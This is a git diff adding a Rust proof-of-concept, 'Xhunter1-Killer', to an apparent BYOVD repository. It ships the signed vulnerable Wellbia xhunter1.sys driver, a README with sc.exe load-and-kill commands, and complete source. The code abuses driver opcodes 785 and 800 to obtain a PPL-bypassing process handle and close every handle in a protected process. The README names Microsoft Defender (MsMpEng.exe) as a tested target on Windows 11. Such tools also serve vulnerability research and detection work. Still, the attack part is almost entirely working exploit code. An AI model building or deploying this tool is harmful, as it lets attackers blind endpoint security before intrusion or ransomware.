diff --git a/README.md b/README.md index cd283b6..b428a79 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@ This repository contains several PoCs developed for educational purposes, helpin ## 🏗️ Project Structure -The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator` and `Astra64-RW` are standalone** — they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace. +The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator`, `Astra64-RW`, and `Xhunter1-Killer` are standalone** — they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace. ``` BYOVD/ @@ -65,6 +65,7 @@ BYOVD/ ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) +├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm ``` @@ -206,7 +207,7 @@ fn main() -> Result<()> { ## 💡 POCs Below are the drivers and their respective PoCs available in this repository: -- **[Astra64-RW](https://github.com/BlackSnufkin/BYOVD/tree/main/Astra64-RW)**: Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone kernel R/W PoC. Demoes the primitive via Shadow SSDT hijack -> SYSTEM token swap, tested on Win11 24H2 (build 26200.8457) with HVCI + VBS enabled. +- **[Astra64-RW](https://github.com/BlackSnufkin/BYOVD/tree/main/Astra64-RW)**: Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone kernel R/W PoC. - **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**: Targets `BdApiUtil64.sys` from `Baidu AntiVirus` (CVE-2024-51324). - **[CcProtect-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/CcProtect-Killer)**: Targets `CcProtect.sys` from `CnCrypt`. - **[GameDriverX64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/GameDriverX64-Killer)**: Targets `GameDriverX64.sys` from `Fedeen Games` (CVE-2025-61155). @@ -220,6 +221,7 @@ Below are the drivers and their respective PoCs available in this repository: - **[UnknownKiller](https://github.com/BlackSnufkin/BYOVD/tree/main/UnknownKiller)**: Targets `unknown.sys` from an unattributed vendor (driver origin TBD). - **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`. - **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud` (CVE-2023-52271). +- **[Xhunter1-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Xhunter1-Killer)**: Targets legacy `xhunter1.sys` from `Wellbia` (XIGNCODE3, CVE-2026-3609). - **[Xkpsm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Xkpsm-Killer)**: Targets `xkpsm.sys` from `JiranJikyosoft X-Keeper`. ## 🔬 Complete Driver Reverse Engineering Process (x64) diff --git a/Xhunter1-Killer/Cargo.toml b/Xhunter1-Killer/Cargo.toml new file mode 100644 index 0000000..cf32edc --- /dev/null +++ b/Xhunter1-Killer/Cargo.toml @@ -0,0 +1,26 @@ +# Standalone subproject - not a member of the BYOVD workspace. +# Build directly from this directory with `cargo build --release`. +[workspace] + +[package] +name = "Xhunter1-Killer" +version = "0.1.0" +edition = "2021" + +[dependencies] +clap = { version = "4", features = ["derive"] } +windows = { version = "0.61", features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_IO", + "Win32_System_LibraryLoader", + "Win32_System_Threading", +] } + +[profile.release] +opt-level = 3 +lto = true +codegen-units = 1 +panic = "abort" diff --git a/Xhunter1-Killer/README.md b/Xhunter1-Killer/README.md new file mode 100644 index 0000000..a81a174 --- /dev/null +++ b/Xhunter1-Killer/README.md @@ -0,0 +1,70 @@ +# Xhunter1-Killer + +Process killer for any target, including PPL processes such as `MsMpEng.exe`, via Wellbia's `xhunter1.sys` (XIGNCODE3 anti-cheat kernel component). The legacy build documented under **CVE-2026-3609**. + +The kill primitive is cmd `800` only — a `KeStackAttachProcess` handle stomp that strips `ProtectFromClose` via `ObSetHandleAttributes(KernelMode)` and `ZwClose`s every entry in the target's handle table. Once a critical kernel object is yanked, the target faults on its next I/O and exits. + +**Standalone.** Does not use `byovd-lib`. `xhunter1.sys` uses `IRP_MJ_WRITE` (not `DeviceIoControl`) for its command dispatch, so the lib's `DeviceHandle` doesn't fit. Has its own `[workspace]` declaration and its own `[profile.release]`. Build directly from this directory. + +**Driver:** +- `xhunter1.sys` SHA256: `e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e` +- Signer: `Wellbia.com Co., Ltd.` (DigiCert), version `10.0.10011.16384` +- CVE-2026-3609 (re-documented in 2026; originally written up by [Psychotropos in 2018](https://web.archive.org/web/20180820182619/https://x86.re/blog/xigncode3-xhunter1.sys-lpe/)) + +## What it does + +1. Enable `SeDebugPrivilege` on the caller (no-op if not granted). +2. Open `\\.\xhunter1` (or whatever device path you supply with `-d`). +3. Enumerate every handle in the target's handle table via `NtQuerySystemInformation(SystemExtendedHandleInformation)`. +4. **Tier 1 — minimum privileges.** `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + probe cmd `800` with that handle. +5. **Tier 2 — fallback.** If tier 1 is denied at any point (OS-level `ACCESS_DENIED` on `OpenProcess`, or driver-level rejection of the handle inside cmd `800`), fall back to cmd `785` — the original CVE-2026-3609 primitive — to mint a kernel-mode `PROCESS_ALL_ACCESS` handle that defeats PPL. +6. Iterate cmd `800` across the rest of the handle table with whichever handle worked. + +Cmd `800` is the only kill mechanism. Cmd `785` is only acquired as a handle source when the cheap path is refused. No `TerminateProcess`, no other driver opcodes. + +## Why admin + +`PROCESS_QUERY_LIMITED_INFORMATION` is documented as granted to all callers, but in practice: +- Non-admin contexts may have the right stripped by EDR-registered `ObRegisterCallbacks` filters on AV/EDR processes. +- Tier 2's cmd `785` handle leak needs to be reachable from your context (the legacy build has no auth gate, so any caller works — but Defender will revive itself if not running elevated when the kill triggers). + +The binary calls `RtlAdjustPrivilege(SeDebugPrivilege)` at startup and prints a warning if the privilege isn't granted. Run elevated. + +## Usage + +Driver lifecycle is your problem — this tool does **not** install or unload the driver. Load `xhunter1.sys` yourself first via `sc.exe`, then run the exe. + +```bat +:: Load +sc create xhunter1 type= kernel binPath= "C:\path\to\xhunter1.sys" +sc start xhunter1 + +:: Kill +Xhunter1-Killer.exe -n MsMpEng.exe + +:: Cleanup +sc stop xhunter1 +sc delete xhunter1 +``` + +```text +> .\Xhunter1-Killer.exe -h +Process killer via xhunter1.sys cmd 800 handle stomp (legacy CVE-2026-3609 driver) + +Usage: Xhunter1-Killer.exe --name [--device ] + +Options: + -n, --name Target process name (e.g. notepad.exe, MsMpEng.exe) + -d, --device Driver device path. Default \\.\xhunter + -h, --help Print help +``` + +```bash +cd Xhunter1-Killer +cargo build --release +.\target\release\Xhunter1-Killer.exe -n MsMpEng.exe -d xhunter1 +``` + +If the driver service is registered under a name other than `xhunter` (the legacy default device name `\Device\xhunter`), pass the service name with `-d` and the binary will prefix `\\.\` for you. + +Tested on Windows 11 24H2 against `MsMpEng.exe` (PPL Antimalware-Light). On the first run after a long-lived Defender instance, tier 2 fires (Defender's Ob callback denies the low-priv `OpenProcess`); after the kill Defender restarts, and the next run on the new MsMpEng PID lands cleanly on tier 1. diff --git a/Xhunter1-Killer/src/main.rs b/Xhunter1-Killer/src/main.rs new file mode 100644 index 0000000..86c08f6 --- /dev/null +++ b/Xhunter1-Killer/src/main.rs @@ -0,0 +1,379 @@ +//! Xhunter1-Killer — process termination via `xhunter1.sys` cmd 800 handle stomp. +//! +//! Two-tier handle acquisition, cmd 800 only as the kill primitive: +//! 1. `OpenProcess(PROCESS_ALL_ACCESS)` — works against non-PPL targets. +//! 2. Fallback: cmd 785 — mints a kernel-mode `PROCESS_ALL_ACCESS` handle +//! that defeats PPL (the original CVE-2026-3609 primitive). +//! +//! Once a handle is held, every entry in the target's handle table is closed +//! via cmd 800. The driver clears `ProtectFromClose` (via +//! `ObSetHandleAttributes(KernelMode)`) before each `ZwClose`, so even +//! protected handles go down. Once a critical kernel object is yanked, the +//! target faults on its next I/O and exits. +//! +//! Assumes the driver is already loaded. Default device path is `\\.\xhunter`; +//! override with `-d` if your install registered a different SCM service name. + +#![allow(non_snake_case)] + +use std::ffi::c_void; + +use clap::Parser; +use windows::core::{s, PCWSTR}; +use windows::Win32::Foundation::{CloseHandle, GENERIC_WRITE, HANDLE}; +use windows::Win32::Storage::FileSystem::{ + CreateFileW, WriteFile, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_MODE, OPEN_EXISTING, +}; +use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, + PROCESSENTRY32W, TH32CS_SNAPPROCESS, +}; +use windows::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}; +use windows::Win32::System::Threading::{OpenProcess, PROCESS_QUERY_LIMITED_INFORMATION}; + +// Bare RtlAdjustPrivilege binding — avoids dragging in advapi32 token APIs. +#[link(name = "ntdll")] +unsafe extern "system" { + fn RtlAdjustPrivilege(privilege: u32, enable: u8, current_thread: u8, was_enabled: *mut u8) -> i32; +} +const SE_DEBUG_PRIVILEGE: u32 = 20; + +fn enable_se_debug() -> bool { + let mut was = 0u8; + unsafe { RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1, 0, &mut was) == 0 } +} + +// ─── Protocol constants (legacy xhunter1.sys, pre-2023.09) ───────────────── + +const REQ_SIZE: usize = 0x270; // 624 bytes +const RESP_SIZE: usize = 762; +const XHUNTER_MAGIC: u32 = 0x345821AB; + +const CMD_OPEN_PROCESS: u32 = 785; // mints kernel-mode PROCESS_ALL_ACCESS handle +const CMD_CLOSE_HANDLE: u32 = 800; // ObSetHandleAttributes(KernelMode) + ZwClose + +const PROCESS_ALL_ACCESS_F: u32 = 0x1FFFFF; + +// Request layout +const REQ_OFF_LENGTH: usize = 0x00; +const REQ_OFF_MAGIC: usize = 0x04; +const REQ_OFF_XOR_KEY: usize = 0x08; +const REQ_OFF_OPCODE: usize = 0x0C; +const REQ_OFF_RESP_PTR: usize = 0x10; +const REQ_OFF_ARG0: usize = 0x18; // cmd 785: pid | cmd 800: target proc handle +const REQ_OFF_ARG1: usize = 0x1C; // cmd 785: access | +const REQ_OFF_ARG2: usize = 0x20; // | cmd 800: handle to close + +// Response layout +const RESP_OFF_STATUS: usize = 0x0C; +const RESP_OFF_HANDLE: usize = 0x10; + +// SystemExtendedHandleInformation +const SYS_EXT_HANDLE_INFO: u32 = 0x40; +const STATUS_INFO_LEN_MISMATCH: u32 = 0xC000_0004; + +// ─── CLI ──────────────────────────────────────────────────────────────────── + +#[derive(Parser)] +#[command( + name = "Xhunter1-Killer", + about = "Process killer via xhunter1.sys cmd 800 handle stomp (legacy CVE-2026-3609 driver)", +)] +struct Cli { + /// Target process name (e.g. notepad.exe, MsMpEng.exe). + #[arg(short = 'n', long = "name")] + name: String, + + /// Driver device path. Default is the legacy hardcoded name. + #[arg(short = 'd', long = "device", default_value = "\\\\.\\xhunter")] + device: String, +} + +// ─── Driver protocol helpers ──────────────────────────────────────────────── + +fn open_device(path: &str) -> Result { + let w: Vec = path.encode_utf16().chain(std::iter::once(0)).collect(); + unsafe { + CreateFileW( + PCWSTR(w.as_ptr()), + GENERIC_WRITE.0, + FILE_SHARE_MODE(0), + None, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + None, + ) + }.map_err(|e| format!("CreateFileW({path}): {e}")) +} + +/// Send one xhunter1 command, return (NTSTATUS, full response buffer). +fn send_cmd( + device: HANDLE, + opcode: u32, + fill: F, +) -> Result<(i32, Vec), String> { + let mut req = [0u8; REQ_SIZE]; + let mut resp = vec![0u8; RESP_SIZE]; + + unsafe { + let p = req.as_mut_ptr(); + *(p.add(REQ_OFF_LENGTH) as *mut u32) = REQ_SIZE as u32; + *(p.add(REQ_OFF_MAGIC) as *mut u32) = XHUNTER_MAGIC; + *(p.add(REQ_OFF_XOR_KEY) as *mut u32) = 0x4141_4141; + *(p.add(REQ_OFF_OPCODE) as *mut u32) = opcode; + *(p.add(REQ_OFF_RESP_PTR) as *mut u64) = resp.as_mut_ptr() as u64; + } + fill(&mut req); + + let mut written = 0u32; + unsafe { + WriteFile(device, Some(&req), Some(&mut written), None) + .map_err(|e| format!("WriteFile (opcode {opcode}): {e}"))?; + } + + let status = unsafe { *(resp.as_ptr().add(RESP_OFF_STATUS) as *const i32) }; + Ok((status, resp)) +} + +/// Cmd 785 — kernel-minted PROCESS_ALL_ACCESS handle on `pid`. Defeats PPL. +fn cmd_785(device: HANDLE, pid: u32) -> Result { + let (status, resp) = send_cmd(device, CMD_OPEN_PROCESS, |req| unsafe { + *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid; + *(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = PROCESS_ALL_ACCESS_F; + })?; + if status < 0 { + return Err(format!("cmd 785 NTSTATUS 0x{:08X}", status as u32)); + } + let raw = unsafe { *(resp.as_ptr().add(RESP_OFF_HANDLE) as *const u64) }; + if raw == 0 { return Err("cmd 785 returned NULL handle".into()); } + Ok(HANDLE(raw as *mut c_void)) +} + +/// Cmd 800 — close `victim` inside `target_handle`'s handle table, attached +/// via KeStackAttachProcess. The driver strips ProtectFromClose first. +fn cmd_800(device: HANDLE, target_handle: HANDLE, victim: u64) -> Result<(), String> { + let (status, _) = send_cmd(device, CMD_CLOSE_HANDLE, |req| unsafe { + *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u64) = target_handle.0 as u64; + *(req.as_mut_ptr().add(REQ_OFF_ARG2) as *mut u64) = victim; + })?; + if status < 0 { + return Err(format!("cmd 800 NTSTATUS 0x{:08X}", status as u32)); + } + Ok(()) +} + +// ─── Helpers ──────────────────────────────────────────────────────────────── + +fn find_pid(image_name: &str) -> Result { + let target = image_name.to_ascii_lowercase(); + unsafe { + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + .map_err(|e| format!("CreateToolhelp32Snapshot: {e}"))?; + let mut entry = PROCESSENTRY32W { + dwSize: std::mem::size_of::() as u32, + ..Default::default() + }; + let mut found: Option = None; + if Process32FirstW(snap, &mut entry).is_ok() { + loop { + let end = entry.szExeFile.iter().position(|&c| c == 0).unwrap_or(entry.szExeFile.len()); + let name = String::from_utf16_lossy(&entry.szExeFile[..end]).to_ascii_lowercase(); + if name == target { + found = Some(entry.th32ProcessID); + break; + } + if Process32NextW(snap, &mut entry).is_err() { break; } + } + } + let _ = CloseHandle(snap); + found.ok_or_else(|| format!("process '{image_name}' not found")) + } +} + +/// Enumerate every handle owned by `target_pid` via +/// `NtQuerySystemInformation(SystemExtendedHandleInformation)`. +fn enumerate_process_handles(target_pid: u32) -> Result, String> { + type NtQsiFn = unsafe extern "system" fn(u32, *mut c_void, u32, *mut u32) -> i32; + unsafe { + let ntdll = GetModuleHandleA(s!("ntdll.dll")) + .map_err(|e| format!("GetModuleHandleA(ntdll): {e}"))?; + let p = GetProcAddress(ntdll, s!("NtQuerySystemInformation")) + .ok_or("NtQuerySystemInformation not exported")?; + let nt_qsi: NtQsiFn = std::mem::transmute(p); + + let mut size: u32 = 0x10_0000; + let mut buf: Vec = vec![0u8; size as usize]; + loop { + let mut needed = 0u32; + let status = nt_qsi(SYS_EXT_HANDLE_INFO, buf.as_mut_ptr() as _, size, &mut needed); + if status == 0 { break; } + if status as u32 == STATUS_INFO_LEN_MISMATCH { + size = needed.saturating_add(0x1_0000).max(size.saturating_mul(2)); + buf = vec![0u8; size as usize]; + continue; + } + return Err(format!("NtQuerySystemInformation: 0x{:08X}", status as u32)); + } + + // SYSTEM_HANDLE_INFORMATION_EX: + // +0x00 NumberOfHandles (usize) + // +0x08 Reserved (usize) + // +0x10 Handles[] (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, 40B) + // Entry: + // +0x00 Object (PVOID) + // +0x08 UniqueProcessId (ULONG_PTR) + // +0x10 HandleValue (ULONG_PTR) + const ENTRY_SIZE: usize = 40; + let count = usize::from_le_bytes(buf[..8].try_into().unwrap()); + let mut out = Vec::new(); + for i in 0..count { + let off = 0x10 + i * ENTRY_SIZE; + if off + ENTRY_SIZE > buf.len() { break; } + let pid = usize::from_le_bytes(buf[off + 8..off + 16].try_into().unwrap()) as u32; + if pid != target_pid { continue; } + let handle = u64::from_le_bytes(buf[off + 16..off + 24].try_into().unwrap()); + out.push(handle); + } + Ok(out) + } +} + +// ─── Main ─────────────────────────────────────────────────────────────────── + +fn main() { + let cli = Cli::parse(); + + println!(); + println!(" [~] Xhunter1-Killer — cmd 800 handle stomp via xhunter1.sys"); + println!(); + + if enable_se_debug() { + println!("[+] SeDebugPrivilege ...... enabled"); + } else { + println!("[!] SeDebugPrivilege not granted — tier-1 OpenProcess will likely be denied on PPL targets (run elevated)"); + } + + let target_pid = match find_pid(&cli.name) { + Ok(p) => p, + Err(e) => { eprintln!("[-] {e}"); std::process::exit(1); } + }; + println!("[+] Target PID ............ {target_pid} ({})", cli.name); + + let device_path = if cli.device.starts_with("\\\\.\\") || cli.device.starts_with("\\\\?\\") { + cli.device.clone() + } else { + format!("\\\\.\\{}", cli.device) + }; + let device = match open_device(&device_path) { + Ok(h) => h, + Err(e) => { + eprintln!("[-] {e}"); + eprintln!(" Driver must be loaded. Try:"); + eprintln!(" sc create xhunter type= kernel binPath= C:\\path\\to\\xhunter1.sys"); + eprintln!(" sc start xhunter"); + std::process::exit(1); + } + }; + println!("[+] Driver opened ......... {}", device_path); + + // Enumerate the target's handle table once — same list whether the + // process handle we feed cmd 800 came from OpenProcess or cmd 785. + let handles = match enumerate_process_handles(target_pid) { + Ok(v) => v, + Err(e) => { + eprintln!("[-] enumerate_process_handles: {e}"); + unsafe { let _ = CloseHandle(device); } + std::process::exit(1); + } + }; + if handles.is_empty() { + eprintln!("[-] No handles enumerated for PID {target_pid}"); + std::process::exit(1); + } + println!("[+] Target has {} open handles", handles.len()); + + // Tier 1 — minimum privileges via OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION). + // For PPL/EDR targets the OS or registered Ob callbacks may refuse even this. + // For non-PPL targets the syscall succeeds; we then probe cmd 800 with the + // tier-1 handle. Any failure (OpenProcess denied OR cmd 800 refused) escalates + // to tier 2 — cmd 785, which mints a kernel-mode PROCESS_ALL_ACCESS handle + // and defeats PPL. + let probe = handles[0]; + let escalate_reason: Option; + let mut tier1_handle: Option = None; + + match unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, target_pid) } { + Ok(h) => { + println!("[+] Tier 1 handle ......... 0x{:X} (OpenProcess PROCESS_QUERY_LIMITED_INFORMATION)", h.0 as usize); + match cmd_800(device, h, probe) { + Ok(()) => { + println!("[+] Probe stomp accepted with tier-1 handle."); + tier1_handle = Some(h); + escalate_reason = None; + } + Err(e) => { + println!("[!] Probe stomp refused with tier-1 handle: {e}"); + unsafe { let _ = CloseHandle(h); } + escalate_reason = Some(format!("cmd 800 refused tier-1 handle: {e}")); + } + } + } + Err(e) => { + println!("[!] OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) denied: {e}"); + escalate_reason = Some(format!("OpenProcess refused: {e}")); + } + } + + let (working_handle, source, mut ok, mut fail) = match (tier1_handle, escalate_reason) { + (Some(h), None) => (h, "tier 1 (minimum privileges)", 1usize, 0usize), + (_, Some(_)) => { + println!("[*] Tier 2: cmd 785 — minting PPL-bypassing PROCESS_ALL_ACCESS handle..."); + match cmd_785(device, target_pid) { + Ok(h2) => { + println!("[+] Tier 2 handle ......... 0x{:X} (cmd 785 kernel-minted PROCESS_ALL_ACCESS)", h2.0 as usize); + match cmd_800(device, h2, probe) { + Ok(()) => (h2, "tier 2 (cmd 785)", 1usize, 0usize), + Err(e2) => { + eprintln!("[-] cmd 800 refused tier-2 handle: {e2}"); + unsafe { + let _ = CloseHandle(h2); + let _ = CloseHandle(device); + } + std::process::exit(1); + } + } + } + Err(e2) => { + eprintln!("[-] cmd 785 failed: {e2}"); + unsafe { let _ = CloseHandle(device); } + std::process::exit(1); + } + } + } + _ => unreachable!(), + }; + + // Stomp the rest of the handle table. + for &h in &handles[1..] { + match cmd_800(device, working_handle, h) { + Ok(()) => ok += 1, + Err(_) => fail += 1, + } + } + println!("[+] Handle stomp ({source}): closed {ok}, refused {fail} (of {})", handles.len()); + let target_handle = working_handle; + + // Quick verification: re-resolve the PID. + std::thread::sleep(std::time::Duration::from_millis(400)); + let alive = find_pid(&cli.name).is_ok(); + if alive { + eprintln!("[!] PID may still be alive — re-run if needed."); + } else { + println!("[+] Verified: {} no longer present in process list.", cli.name); + } + + unsafe { + let _ = CloseHandle(target_handle); + let _ = CloseHandle(device); + } +} diff --git a/Xhunter1-Killer/xhunter1.sys b/Xhunter1-Killer/xhunter1.sys new file mode 100644 index 0000000..4eec6c5 Binary files /dev/null and b/Xhunter1-Killer/xhunter1.sys differ